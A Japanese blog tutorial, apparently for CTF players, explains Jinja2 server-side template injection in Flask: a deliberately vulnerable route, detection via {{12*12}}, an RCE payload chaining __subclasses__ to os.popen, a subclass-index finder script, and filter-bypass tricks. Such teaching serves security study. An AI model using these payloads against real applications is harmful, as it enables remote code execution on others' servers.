Python Flask における Jinja2 SSTI 脆弱性の機構と攻撃手法

Python Flask における Jinja2 SSTI 脆弱性の機構と攻撃手法

Web セキュリティの競技領域や実務审计において、Python 製の Web アプリケーション、特に Flask フレームワークで Jinja2 テンプレートエンジンを使用する際、サーバーサイドテンプレートインジェクション(SSTI)のリスクが存在します。本稿では、この脆弱性の発生要因から検出方法、悪用手法、そして回避策までを技術的な観点から解説します。

0x01 脆弱性の発生要因

テンプレートエンジンにおいて、ユーザーからの入力データが適切にサニタイズされずに模板文字列へ直接結合され、その後レンダリング処理が行われる場合に脆弱性が発生します。以下のコード例は、危険な実装パターンを示しています。

from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route('/welcome')
def greet_user():
    user_input = request.args.get('query')
    # ユーザー入力が直接模板に埋め込まれている
    template_source = '<html><h1>Welcome, %s</h1></html>' % user_input
    return render_template_string(template_source)

一方で、以下のように入力データを模板ファイルへ変数として渡す実装であれば、模板構文として解釈されないため安全です。

from flask import Flask, request, render_template

app = Flask(__name__)

@app.route('/safe')
def safe_greet():
    user_input = request.args.get('query')
    # 模板ファイル内で変数として処理される
    return render_template('view.html', username=user_input)

0x02 脆弱性の特徴と検出

SSTI が発生する環境には、以下のような共通の特徴が見られます。

  • render_template_string 関数を使用しており、かつ引数にユーザー制御可能な文字列拼接が含まれている。
  • 入力値に対するフィルタリングが不十分、または存在しない。
  • 模板構文デリミタ({{ }}{% %})がそのまま評価される。

簡易的な検出 PoC として、算術演算を投入し、結果が計算されて返却されるかを確認します。例えば {{12*12}} を入力し、レスポンスに 144 が含まれていれば SSTI の可能性があります。

0x03 攻撃手法

脆弱性が確認できた場合、主に XSS(クロスサイトスクリプティング)または RCE(リモートコード実行)へと発展させることができます。

XSS への発展

模板内でユーザー入力がエスケープされずに出力される場合、標準的な XSS ペイロードがそのまま機能します。SSTI が存在する環境では、模板構文を用いてより強力な攻撃が可能となるため、XSS はより深刻な脆弱性の前兆と捉えることができます。

RCE への発展

Python オブジェクトの内部構造を辿ることで、サーバー上で任意のコードを実行することが可能です。基本的な思路は、汎用的なオブジェクトから基底クラス object を経由し、危険なサブクラス(例:os モジュールを含むクラス)へアクセスすることです。

具体的には、文字列オブジェクトなどの既存インスタンスから __class____mro____subclasses__ などの特殊属性を連鎖的に呼び出します。

{{ ''.__class__.__mro__[1].__subclasses__()[138].__init__.__globals__['os'].popen('id').read() }}

環境によってサブクラスのインデックス番号は変動するため、事前に有用なクラスの位置特定が必要です。以下のスクリプトは、サブクラス一覧から危険なクラスを探す際に有用です。

import re

# 取得したサブクラス一覧をここに貼り付け
subclass_dump = r'''[<class 'type'>, <class 'weakref'>, ...]'''

# 注目すべきクラスリスト
target_classes = [
    'os._wrap_close', 
    'subprocess.Popen', 
    'warnings.catch_warnings',
    'linecache'
]

pattern = re.compile(r"'(.*?)'")
found_classes = re.findall(pattern, subclass_dump)

for cls in found_classes:
    for target in target_classes:
        if target in cls:
            print(f"Index: {found_classes.index(cls)} - {cls}")

また、アプリケーション内で既にインポートされている危険なオブジェクトが存在する場合、基底クラスへの到達 없이 そのオブジェクトを直接利用できるケースもあります。これはサンドボックス環境などで object へのアクセスが制限されている場合に有効な手法です。

0x04 防御機構の回避

特定の文字や構文がフィルタリングされている場合、以下の手法を用いてペイロードを構築できます。

  • 属性アクセスの代替: . がフィルタされている場合、[] 演算子や getattr 関数、あるいは __getitem__ メソッドを利用します。
    例:object['attribute'] または object|attr('attribute')
  • 文字列の分割: 危険な文字列がフィルタされている場合、文字列結合を用いて回避します。
    例:"__cla" + "ss__"
  • 構文の置換: {{ }} がフィルタされている場合、文ブロックである {% %} が利用可能か確認します。
  • パラメータの外部化: ペイロードの一部を GET パラメータに渡し、模板内では request.args を経由して参照します。
    例:?cmd=id&payload={{request.args.cmd|attr(os)}}...
  • 文字コード変換: chr() 関数などを用いて、フィルタ対象文字を動的に生成します。

なお、{} 自体が完全にブロックされている場合、または厳格なサンドボックス環境下では、模板インジェクション自体が不可能となるため、設定情報の漏洩({{config}})などに限定される可能性があります。

0x05 実践例

以下の CTF 問題では、本稿で解説した手法が適用可能です。

  • 【XYCTF 2024】我是一个复读机
  • 【R3CTF 2024】jinjaclub

タグ: Python flask Jinja2 SSTI web-security

8月2日 03:22 投稿